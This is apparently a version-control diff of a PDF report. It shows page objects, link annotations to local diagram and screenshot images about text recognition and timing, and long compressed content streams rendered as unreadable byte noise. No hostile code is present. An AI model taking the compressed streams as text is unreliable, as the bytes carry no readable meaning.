=U1ovnJWohRg|_c"4"snL)iXOS"WEq]L44 .U0o6&;ϐlEIz~jm;=9\\W7JنmS=(m($}j-v\e>o-lnS/`Xl*pa+eDedooZ7gͮrlNZ1Bnj^fS3:gGřÒ +;59 +ї~OZirǓS:SP:K &_O崌*|$@gIy=XehGlUis{oTZA62pa `4D-NHRGmι\p(ee!.NG?pXm$2 G JX~&R)Rswe +endstream +endobj +492 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 491 0 R +/Resources 4 0 R +/Annots [ 493 0 R 494 0 R 495 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +493 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 391.236939 37.466457 378.833739 ] +/Rect [ 39.386457 771.023622 555.889134 356.670499 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition3.png) +/URI (./Images/Figma/DiagrammeRecupImages.png) >> >> endobj -492 0 obj -<< -/Filter /FlateDecode -/Length 1436 ->> -stream -xXK6 WT+J P]`>/ -춘JJ-;N& C'đ(>>>D:MEc -eUp2G^@eg -əໄ -cQhciZZ/ϻ_wxHVC 1A1tqFTDL*Ppw?  -卙AgObxV.\h66vViJGOT9 '"wp "CRPFF,hg 4aه}CuYO׬Kc9ODTF\a[tsn:=\|Ix;0K-9AViX[^k͞R$Wp,`~45V@a(T`4tw29jO4oـ5X'Nyi]3O cTT:1|comy7&}ZLO;M+h7rbS6UԬ묵J;}jL,P#2 2fD\{pYX&,?OﻠH{rp)i>sUs2] i-ͅǝ3P\\/vQJi ->L3N0t%q=gTXQ OnwXdM&Ï%DS#zz5/LFI:WŰ>B98YRuڭrQ}}A -͸7orÙNÿn -endstream -endobj -493 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 492 0 R -/Resources 4 0 R -/Annots [ 494 0 R 495 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 494 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 289.875588 ] +/Rect [ 297.637795 356.670499 297.637795 341.656099 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition3.png) +/URI (./Images/Figma/DiagrammeRecupImages.png) >> >> endobj @@ -7562,29 +6522,27 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 289.875588 297.637795 277.472388 ] +/Rect [ 39.386457 74.399779 39.386457 59.385379 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition3.png) +/URI (./Images/Figma/DiagrammeOCR.png) >> >> endobj 496 0 obj << /Filter /FlateDecode -/Length 1283 +/Length 1222 >> stream -xXn$5}qRaQ`3R%N2!CDFnS4/%c -ގi*8bk4Br1RLc4Qy5|~ -ZF"f(dqY?56*[_! -,ˇ"^+W$b&G/<_n6PN֎0a8?.pz:z_eZh"w[,Rn{SFC64n;Ch\͢*Y_? h[rinRN"Pd-Q\hB/qG~:L8 26=(QB՞5.TVn: 0 %\؛C٦=^Jwƾ(Bb xrqP9Z1QaNR[j0ÙWٔ?n -r>{3V}Sɇd?G{%BHӕ^Wy:=Yyu):DQ:V.͙pI^k=a.RH1+WrYJ^N[;wO'@1`h@kmPa<.RR_ś~yj|_V1W;ħ5jf\?s]DTZ I+«(C$&%x92ߘ(̝31 jtC7j:4lpZDٛ?;z3Fm ĄPZHUǛt_}|}vu,w{@#@Lpkb]/l.eLEZn~ |riDiD8G-b/nkeiXs#$y +xXۊ6}V*]`0$$K„!vO/yȆ?t.mdӍmK:uJ1q>cA0k0m^N 30DIfJ' MFX&^*f|zt)f87LBHP8m~xzƧ(*_"Rm-&(ER +`3tZ7u1/镫 ^a-M`g8#_ɛoB\9,r`ҎSk5Iï?ûIxk|=H7jc:+KHB%A*δ2.fS$ ]@B0c`t+/kq>{>w.N\ vOUӖwp_04Hmgr%m{DLN_ʗ8ɂ)k56 D] +~sFn#zHc g*x'@ժk{î'.UD \~k@ dr?,RU%N\y=[s80 4tNyᇟ$8r^Pvwj0~g88YrCE@C2rnhHqaЫb2c#ƉBO7D͛^W HJ DYv>Ҷ%JRzI 4i Ss:}( _cXg0ƿqX.8*B6l^X[Fe> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition4.png) +/URI (./Images/Figma/DiagrammeOCR.png) >> >> endobj @@ -7618,14 +6576,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 577.991070 557.809134 92.202399 ] +/Rect [ 297.637795 329.046958 297.637795 314.032558 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition4.png) +/URI (./Images/Figma/DiagrammeOCR.png) >> >> endobj @@ -7633,28 +6591,26 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 92.202399 297.637795 79.799199 ] +/Rect [ 39.386457 101.203438 39.386457 86.189038 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition4.png) +/URI (./Images/Figma/DiagrammeTraitement.png) >> >> endobj 501 0 obj << /Filter /FlateDecode -/Length 992 +/Length 1049 >> stream -xW͎6 )Ր`Ce)Z!L=lݾ?P&m96Fb[㯂3 OMjm%a8A( ~ljJ(csK!Պk@H2H8A?NLN]4 -2#[WܯO劉#=]de+ E>OD(X(!DLw3B ʝeQC27$!;i -.r)/2.5Cx$ ńDӢDMaRu:6@霍%#ǎqѧzFw #2Lw|}{hs_֙_1LWNcZ휚L `NqQ_mx)Q $;DFڕr:`8ڋ7 - SBy#3-u*.)搢xZkHmQ=ꋆSrYP˺^ϒGcO#uG h9̆0,z#KgK$@4qc'vcH!<^6y$['sy37oz]<6s{Xp0GIeIK!Yj RJȓ]z2 r7ycfjk!㘶MQnSVis˻&XPO' vEwiCSm9lrvq[0'|b_يnÐX4oXO7]ƅ6ZY+^aU,P(k˕J/4TJ}XE>1-}kffsj`! }*層ڈ18+[%lM|_yP& 5fpz:X8Qi pM؆b^S%7sI`c=ylm {sr⢍|6)ڤN}$y UmqԀ9 i^d>G@O:+y}sNzE 4~F{^kO8,;nc5ED{ ʤ_"-px)R>,&T}[y`Հw-DPnv2 Ƨ.mX)6ǣv'qw WP> @@ -7673,14 +6629,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 682.650822 37.466457 670.247622 ] +/Rect [ 39.386457 771.023622 555.889134 356.670499 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition5.png) +/URI (./Images/Figma/DiagrammeTraitement.png) >> >> endobj @@ -7688,14 +6644,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 682.650822 557.809134 204.606969 ] +/Rect [ 297.637795 356.670499 297.637795 341.656099 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition5.png) +/URI (./Images/Figma/DiagrammeTraitement.png) >> >> endobj @@ -7703,118 +6659,111 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 204.606969 297.637795 192.203769 ] +/Rect [ 39.386457 163.304899 39.386457 148.290499 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition5.png) +/URI (./Images/Figma/DiagrammeG-C3-A9n-C3-A9ral.png) >> >> endobj 506 0 obj << +/Filter /FlateDecode +/Length 519 +>> +stream +xTM0 W൓8NpX4$a]qx(3ehuT~!x(suzLW|;)YQoɕH1gřda 4ӷ[ d̖͉xO*%e0=$.Vߒ)YK3Ц$\֤`c+ʻq 3^N6lpJ\ܫ t'ÄZQaOY9J.%Hw@o߽x뤢2}Ap{ !Y)z$>I1Pios5,q~v{r7,k5SW4֐qĖkoYYskb!&e |&\u +sPL`ۥB]kH1,U׸HkeYuM/0WV6c,0I 242zٯB122=RQJ8\lT: pv6QOO + +endstream +endobj +507 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 506 0 R +/Resources 4 0 R +/Annots [ 508 0 R 509 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +508 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 116.234169 37.466457 103.830969 ] +/Rect [ 39.386457 771.023622 555.889134 110.449041 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition6.png) +/URI (./Images/Figma/DiagrammeG-C3-A9n-C3-A9ral.png) >> >> endobj -507 0 obj -<< -/Filter /FlateDecode -/Length 1178 ->> -stream -xXˎ[7 +Dу%hH .."Ӣdq2z!)Y-2ިρylRVt_|0$ȣ&xr~!RR0h@0F!'oIIuW%|8]ˇנ(j/F>)`4T*Vlc2N`"$[nOOf]+؍/e:;+#E5Xù` 7 -xX0$=r~ןx()cx0;&B+ƅ YDZR 3b. -;~^gT0 cdHE+2"1p@f Հ駶M۲P籨㰱qj˾"? -c%O:QIuQfK{|O99:_QX5lފcY -FMĜJ٨ sD4d-d\_\p̹U]e=wꨟ sg&>שԾs-|79Љ"w mQ`$c0S5F ,/MNea^̸v ׍עw[˂`  8+8ςZJ rie 9; n] C20YX,yt@s{eAj -NSHoc 3k0cLӮfDlaF.ls;eK#܈c> -endobj 509 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 286.496740 ] +/Rect [ 297.637795 110.449041 297.637795 95.434641 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition6.png) +/URI (./Images/Figma/DiagrammeG-C3-A9n-C3-A9ral.png) >> >> endobj 510 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 286.496740 297.637795 274.093540 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TextRecognition6.png) ->> +/Filter /FlateDecode +/Length 2862 >> +stream +x[ێ#}W@ڼ_ ?88AIK6BYjhG&u9uHɳH?`BΜo_NH뷓Vywf1!^EJtbŸ|S~Gx!|g)Z.|<=}8=MN$ Ju"l桊0p?8܍.=]-neaJ/$9Œou\KVO'I6svѫeZ@P!s,\*~׋*IaBoɮVyf^Ϥq_aU˵>gs}gK1eP?u<I6Mk\wֿm][[˭Lng,HfUɢբx4 '( Bus^kUV`@z敖`dR2[`ߗMASXo2&)43`[]|Qs UÊ$9xW$##:o|6\n8VM#ȡ64Ќ|ŃsP#xWơg/ +"\/ۑ]2`p 6t \L /#[" X,6O)ϸm2 68ք\B敠3 kU!83Wύ  clŹ63LjnT*r/e9Du>LX5EOgȹ}2b%RtQHsЈIa$ߏE0C 뺎6N`&% -hqBQ@ixFBƹUO5\pqlx%Π&cEۦqfw:[-[7t4&0#6JJwt'BQA(MNƐףSP%P w? Fv.l\ }U +a&]P B_XԆ`NBcn@ h9)hgEǾ PV5!Q +ŒCD61Hq<(_A(r6L;#m2ύ2npSKE&,-3 17`$SߡN38ЎP;Xӑs_14v DcE4#g[^C vúmK9vUt:E<ӬNW?+Q4z&2[mRAgWƆM T\R@Í N6ѳ8 )f^W zR"ynP Zڦ-:Ȟ$C$ml0uQG?+&"WߔLQ>ЙXh\3GJmPλ >VX؉ |%r5'D}Qd=f=I6௃Ɲ聲woAmj /bG\~~c>WUv`8p5^Ũm!eZ~X0:SH/%d1;d.6%L˜+h@o5sV­ =zmS1ܸ6t& H\bF+B~|ӅXAbZzQDs+BdX.}]@h`ι1(FVZ hvR>,U"o?]\vQWj)&RJw5τ'5$N/:5ίv<'Ϧq}2'ᷚtF2‹aSx c <,c[gJЉ+@ "d=fl8hkV&5#r<ڍŹ )XRF KRCCjD T.B):Av!NJlF\2ttlWg(mB>:z cs*E2Vb>(UrE>H o>QK&- (˼oW{ + >\@$``5R 8yWXuO۷2{1ZV)tɀAcǤf? (\xtAZ&'09d.IZ(Ga gy$+k8Πہp"bE, u֡}χe:SbYU2X/#DG ?*_ +߭C%ӗlbMkA&~9ʖd=u")ޡk'_E'sKJrڧ1awPq:X\B+(}tR}N3|L8Smc_%K H(w}[zd-M*n[PMڝx +endstream endobj 511 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 76.417540 37.466457 64.014340 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TimingRecognition0.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 510 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 512 0 obj << /Filter /FlateDecode -/Length 873 +/Length 1255 >> stream -xV͎0 )d$Ώ4 8t -]qK8?n1U'i۟?I`T)x7?I~eL0٠BBr1BLs4hBgk!Y1(#0~Y@ϴj?.Qub;1h6 -6 gtCR-q BUlˢ]Z#o~ЕV+yҰ6yQV$=_}A+k}&M_NԱ嶫08ZC*j - "}Ds]MuN[jC#־#h,T"kdlC6]2 E٪05EXeCnƝ0f^:m-vr[:tbՓmy+4" -E "o.[m "cȚ;;2uv߯޺I̻L[K/'#1㐭 ` 2yЂgiqcI ºF/C€|9ā2E5G^^X,W +<똿V3~ǂ>^/'j嬶=qNbwh(DD̉ŕgKe47mS߈ZzKhJ@R@mie~)3'q8=}OtZŘ0ivH 7G,*L`S.Fӄ:*XzhZ[^*(S>K)>?UU +Xڈ")Tz:[X? #w7 {o~e^1hԅDX39\>e\VNʁ3`O"v +sYjy,߲11-XbDP 6==˴:0E2Z"P- +k`I$֖,$܋q LRڲd +l.X.2er$_ j~#<+>e^@/Gci7a2dZ3@9ÙW~A߿U@Y> M%I[Jr2]%o{|@9:Że]f~)*Fuӕ5^w cA}⋧#uYܩ+/yJ9 MY=aB73Yx0 +|Os=;)v> endobj 514 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 285.820970 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TimingRecognition0.png) ->> +/Filter /FlateDecode +/Length 2032 >> +stream +xZˮ#5+!]e"db@/a]۝dFp3vr=N\>s5m/.ltGK}x~H;[5Wr;?YfΙᢔVR2;˟z9[ƬB̚{tO˻l6ڷǮCAD =]#sJM/~~~q?z˜SpAWǘ^kMxZL=|UxZIzP\t-}dlu=+MZTy˒בNqReG$ו^f'^+2ёUj{mz~Y<= `cn 8Ue([#bpk_9y8n $k:97 i)bdGkY83Up:1"wd0Jq|2v[5kl$tr }LJvv4Ȟ h>C<)t>Ӷg3i3Qՙ=ܔȡe ,|hr8?U@0>+XQ@o`&v{I=: k+Q> iմ,RFlY6Shc[TΝ&Ӥq5|Vt(nTL +AUTH& ˃i©!:I9Mg=_U/ʫ'LS] dk%I}H,3 6:7=0F/DYi_+]X>S{k!pRz녿p<&0f5TB%- DacI +sgL(#ȡ1` +n,*+xW@,!>-<8ͫ:dwE8TBn'slY!1ZfzQqܤÕ39Vu5Ƀׄ2zm7ʑ:ޛrOtvTN.?P/R^i =Q:$KSRxR̂ fcS/, ;wi25ٰ<d0n~\۶m"Z妸y[f_~@KofC6Ɇ=N4]yo5fVF]D[L J(]?"iT;g͜ʈio55P!(3\=^&[*)>xԘdR=`}D>e"s@a8pr506<ԑ2R;|enC{sYd"U"`/C%ͨ#z+݅@>wU>W;dU0O&kMU'@ +4k,h2s+S/,ڮ{H+«ܖen9شIFuX,5A Fn=ŚZa]yMj`Y6O"ĽQ\4a;01 +,(+ѩ+C[pM5()X6 #RX"j֠qE"y?U;nݤ8aK{E!R G +endstream endobj 515 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 285.820970 297.637795 273.417770 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TimingRecognition0.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 514 0 R +/Resources 4 0 R +/Annots [ 516 0 R 517 0 R 518 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 516 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 172.641770 37.466457 160.238570 ] +/Rect [ 39.386457 592.727622 39.386457 577.713222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TimingRecognition1.png) +/URI (./Images/Screens/ScreenF1TvData.png) >> >> endobj 517 0 obj << -/Filter /FlateDecode -/Length 798 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 592.727622 555.889134 302.194866 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ScreenF1TvData.png) +>> >> -stream -xV͎0 )dI J@B:ef./5&?r0rc29Oj>=L9Aa Ct6xIᨂam X"x>N?$"8(cD.0*l4_I SIgF}@uͨɰ&3 -o6.3u3t:@㼨?3BVv*޼W,8FFRA[,F ޽VЈ>?M_ mWa]T ACd.*j ]N,C#NTmsy?9$Yq$xz -endstream endobj 518 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 517 0 R -/Resources 4 0 R -/Annots [ 519 0 R 520 0 R 521 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 302.194866 297.637795 287.180466 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ScreenF1TvData.png) +>> >> endobj 519 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 265.606028 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TimingRecognition1.png) ->> ->> -endobj -520 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 265.606028 297.637795 253.202828 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TimingRecognition1.png) ->> ->> -endobj -521 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 152.426828 37.466457 140.023628 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TimingRecognition2.png) ->> ->> -endobj -522 0 obj -<< /Filter /FlateDecode -/Length 1166 +/Length 2747 >> stream -xXK$5 ?@6N<pX4$ġfz._Iᤫ{V̊itʱ?~$iX4T;\?ONZy%_N+xDTx -@Uj|~9rh $`IOVPz†vSQE3f2@^C5 -6,G3bvCR ƿ< Bp&_J+;.Adegb_ٛo -fFiq@[ǟ~ZYOo[v9 8i: y -N<6^UY S(@eۤ -oUļ ֣*IA,F:t[Z@rVfУ>9Ͷ2bO^Cnlys/5ro9uJ#nodGh'C'r#3;Sr+O=|u 1@{pv!㑧 @m(r(Hm|0ak0Ӝ1mBOc* ^Gܔ-}Ptf?ߜduE} 7.TP 1 !-̻Ke@WY_w\ +x[]}BR @"-Pآ)>8O)%%u۽^[93gF>;VO1闓S2Y.9a +əN6F98i̜?yV돧s*4OAYkc&Oo.zR{֥ga 8_sĝZoـ)0xHba^Cx>Cp$|_z:()q!L!aQSrOo -?gyt6j`l?(W0P!3-YXhy\$!֥2pCk?­,na3:35!xDtv}eMrQ5 O`;㳆!)pX'j:a-Aђ #S`>W6E)ʋhVUJPEF DO!ߗQmz=!R"TPa +j1V.{lia]w]oxt6U)ήk%3R +Ish.`wkհh GwjSUQW0'X .dFVJ|Ns(ñ1C2FOAG'50.VG)=ځ^yJ652c,EFOyrvEgVlI 9`GU~>XH}oY4!\-jR%m& T {CX;xsC֞N"]I6DkAЌk$]jNBRAbdʩ"u4LtdLKbq +CC^# +}ԬBfg;#' PVub޳ɯUlݹQVn}-Јf=Qv{N!l|\g{xH r?Mf`0MxQ*A<4/?P*N~dC=QOsav;%V~HKD}o<;c˻)9JO./@+++d(q(}LMN?Khe*Mx٩aEHӼQ_+QF zG/fZ8'S _hUvS.+3M~N|6LHBke,r1Tq<! endstream endobj -523 0 obj +520 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 522 0 R +/Contents 519 0 R /Resources 4 0 R -/Annots [ 524 0 R 525 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +521 0 obj +<< +/Filter /FlateDecode +/Length 1491 +>> +stream +xXK4Xi5.#  qH2+fe*.;InuqzW}Ih1oE$|ʊ<~O +i +* +60ip/_/_R&N%]^qVBN_\Qeվ.oA "1UEl5m,ʰ`?h`u`MIkc)BWce]API^D'M.:==_~>O*Kџ?<1=}n$t"(UV-`$jpQRZ ~3ރ665czsϯן\W8g*ym4yz'LQ&U,Ghc!PT=93Ei ]T?+ sR嵱 c5"z(3Kz*MHE 队L[ʷ{{x)植BgE1s42)E 9%f(b`rgF@29Tڢ]s;9;Z{Cg1ńΟ:+#:(3r٧ɹ3EaٞlVY eZ{v7LuK>b9c~x-L*AEϿSpbk :)u h>ƻhs&.aV(X/MwZ(3S5{j[ q|"Q@MV^9XezK]*p>t݌);/sj5ǒeCk/Th6-f tjCZ4Nd[QλƻdEmӓGtr&)P;) XtQD!(U"8CKm9B YY ;C'eǂ^xLAvhGޡ9+&YY-YEJwrWʼlXS8fz*PIاe\$ƱoXҁ_H +qAUvXu)Θ{ z>[nd;dQ%>D!\z!~VjX}'Iiٝp1Ӟ9uF`}͔#q'fڳt@~+yn{Bu|Ё*†Xʬ%?u|:w^Ee  9R㸞40AvqCNx+(sx]Y c{ >˃7=/~d}G^pNTKX@fGNn_YZIhz8):͔64P3^ ءX@+}Ub>^Ybo:MQK`2YgM +?aS;@©㚍1? oRoxpJwE/XsS[ :'E,"??X +endstream +endobj +522 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 521 0 R +/Resources 4 0 R +/Annots [ 523 0 R 524 0 R 525 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +523 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 367.882866 39.386457 352.868466 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ChromiumLogo.png) +>> +>> +endobj 524 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 290.861847 ] +/Rect [ 39.386457 367.882866 114.386457 292.882866 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TimingRecognition2.png) +/URI (./Images/Screens/ChromiumLogo.png) >> >> endobj @@ -7989,33 +6936,30 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 290.861847 297.637795 278.458647 ] +/Rect [ 297.637795 292.882866 297.637795 277.868466 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TimingRecognition2.png) +/URI (./Images/Screens/ChromiumLogo.png) >> >> endobj 526 0 obj << /Filter /FlateDecode -/Length 1632 +/Length 1926 >> stream -xYߏ' ~߿b+0J<$}hMTi - vˏ]`?2|99O 4bO~>Oy:'H:!%(>=ޞ9EyZ9TJ3qӋQ -wBRMӲN7Ijffv٨OvLx Y6~]PN H(ʘjZj~pzxrVY;Ig;D{zc:N_U}pVv{+AҗQ|GkU@aPB6&^ ֖]a5"˳ {0?At2Fgqy%y86^/}q>,U5җd8Cy]rh1㥎ouHqOvm카yl̝qMvf?ϊ`n϶Ig$B\Jb -gC 0o#Tqa֒1cY9VG44E߂SZqKe' +] B2g4wyJX-ƫ*/VY!ps&T}6rMZч*( i+q:Hw,ؤwoUY?el|S,eei6%۽# - -al|BHvo`'`TK@Vv<2+¶zXa㵂l+W=sGLƨ)kz.G\g : l(ᝓMZ46pGTǾcVPְ.zwv^Ina/|0a/;{8fk?al=T;os2 - uR5e/N{Uzwĺa7';%Sւr:~gǔP0g4?Źэ窃JВ,##N(;"W[CG2܍:R_䍿Le.D Q_~DZ P3(/T`ı*%y8Rggxc9.?#7W|D,V.5UY?SsMc4x6+_*Y9 r\R| 7jdQ9@#F9Wsd]Kx( Z)LR -ۤ 6 +xYۊ7}@B;c;)UZ ev[:u8kit|?iFI9悑NA3ar3!TR)fRM_nOq 9ΝwR2#&SzO=(]iHs8-`ҷ@FajHpϼ^w~ 3snQ>>޹B#`>18&3&S{m<=u\>|Oa|tL۝qg9˭tsJB%VzW<ϛkA@HcNd\#~c0^3ÅVҚyd8~d jlDoHiFu- A-ZF4(YZ7WIKc=-`D +о>Z^ nڟbtǽJt`q}eR^~!Ӊ+Ӆp^&R(dT9EoP2蛢%!*(yK|ؤZ딬HPqnk̪S _8>hRӈbhXf9 cZG_F}πג٩͇`PZz^#fi,0fa4r0kơ ď.D0 Yo< بUdGߕ-N`+ /ُ`+9PMY۠Հpe3M܇2XnK-b +"jz@Qឲbmo6&+@!9H{ƉB6v] +DFnR,ޡZKy"B#P~ cAtx{ĊaPEle*11uzIU\zmVl4Wq }y.fT=({T |}PpՀT`69vH`, LTPdVj-%DWJD霍'ܺV +C05yRx~<1း?ĩu -R-#m(+E;/yԕuc4F /, 6FcW<)Nr>tjxNSFCؘmof0B˛qH{ +z92](69Y07|06~/ֈ;7gW'3`ւc֩#r8#,e·#:_݆,B0pp:"z1B"=,xMZs+m:"m Kr[ײes?3q9?-VIuQ=ꔽcu'B4@ӤF̯hM`uމURL%()g Z&n[U  +X51-a6I 4xh]^ü6Ui򌲡-A J f_jU@٩T3+ZRv,g6(_63+xykgaVo#qMHs]Un& 0 Ӕ endstream endobj 527 0 obj @@ -8025,7 +6969,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 526 0 R /Resources 4 0 R -/Annots [ 528 0 R 529 0 R 530 0 R 531 0 R 532 0 R 533 0 R ] +/Annots [ 528 0 R 529 0 R 530 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -8034,14 +6978,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 587.423322 37.466457 575.020122 ] +/Rect [ 39.386457 598.358022 39.386457 583.343622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/WindowZoneExplanation1.png) +/URI (./Images/Screens/FirefoxLogo.png) >> >> endobj @@ -8049,14 +6993,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 587.423322 557.809134 295.504291 ] +/Rect [ 39.386457 598.358022 114.386457 521.108022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/WindowZoneExplanation1.png) +/URI (./Images/Screens/FirefoxLogo.png) >> >> endobj @@ -8064,381 +7008,442 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 295.504291 297.637795 283.101091 ] +/Rect [ 297.637795 521.108022 297.637795 506.093622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Figma/WindowZoneExplanation1.png) +/URI (./Images/Screens/FirefoxLogo.png) >> >> endobj 531 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 207.131491 37.466457 194.728291 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Figma/WindowZoneExplanation2.png) ->> +/Filter /FlateDecode +/Length 2950 >> +stream +xɎ} +u IT ִR&#)RVu9 nO8s>/_Oo'Μ/h?sHgA3gBp3Z)ο|9S|λR2#&ϧOnк810/'XԊy痯OgדO+ L{j\.p*s?rcLr1 +dMp5|.3me\*0?/+L!d$EfH" GzDhdBD.1Nv, 뻉8]NWe)3Lf {;;" ΙbH”(d]ː#^,Ӿ?ԢN82:dY_njRd̡mpsf)3ftPblKUa$UO3D[_2a3{ıJ\DdHȸ“9;Ezy>ab9eaN[*;Ġk5u}JHKLuye} zHT5H۶ xq\]7ﺋdb?WL\]MEG( F/&z27 % S)sTEUwʹ4 -^c(hfn_݈-9c,V%>JXf/^ +{ɂrā`9sd!_19֮mU0РRaS֨@#dUfUYH$mm +"!*iWv JHeTb[Si^ֈRp-p8"OdJx2sMń>9ٛ7j4!mWi;T['23J(ŴH4w}L&Bh <*5qȰN-$;`fl\@`ж܈⢋2o7Xf Hgxdzu vB Nb\bLI^Ȕ{*+>*#ZO5(WIč7JA,4fzg*A +{L3hIi\D!2ʄQ"8{bzFrl'^(4zadlW;ił42.qD\nъά spg΅NKi/HhLUߪp1m9}f^h{qAl9Pf-MV\LdL`NYuZדU #z3aUhϤ7h`2ˉAlV< i i4ůB +gNnceZsWx絅銕Sc~/i쭝MW>RW qVЊ_. +Keķ(Vp%bEC>i_d&(ÚcF`wu:5"xri^J )_lD]0j,vt Maf@iW4_ĎQoi{tab &\cx ME#}T+G;A=z3ommSZ;oK7KAJ2M(9z(<)䁊p0 {Y}( 9V3+X}YXt 4-ݤ Rj,LOUR0!IoU٫aY<)LRm <:6,,6-᝵lzbFka;S`;qK~>w=hq[~f|+H0P 'SzrDa\wI<3DksNF8Yj7GaCaCd.G7ڰ!І .FX4aӼa 7N1ŝ@m9<8[/nfMX)uqVsCŝ]  +Z`hHc`t*q[W4د8d0 ^TÕgtHEs׹/8%]oc%@ʖru69sp&և]oVܐx;w}c`0ކ~f <6>(a9L , #CՐq&wDQZ ky ~&Z*vtQٚ|=qۘ«wsxV:x؊?[UfVLw A笴Rq;u}"w_ht'繚6'rTJ3]!ڶ;Q +|E*C"}XYȽ 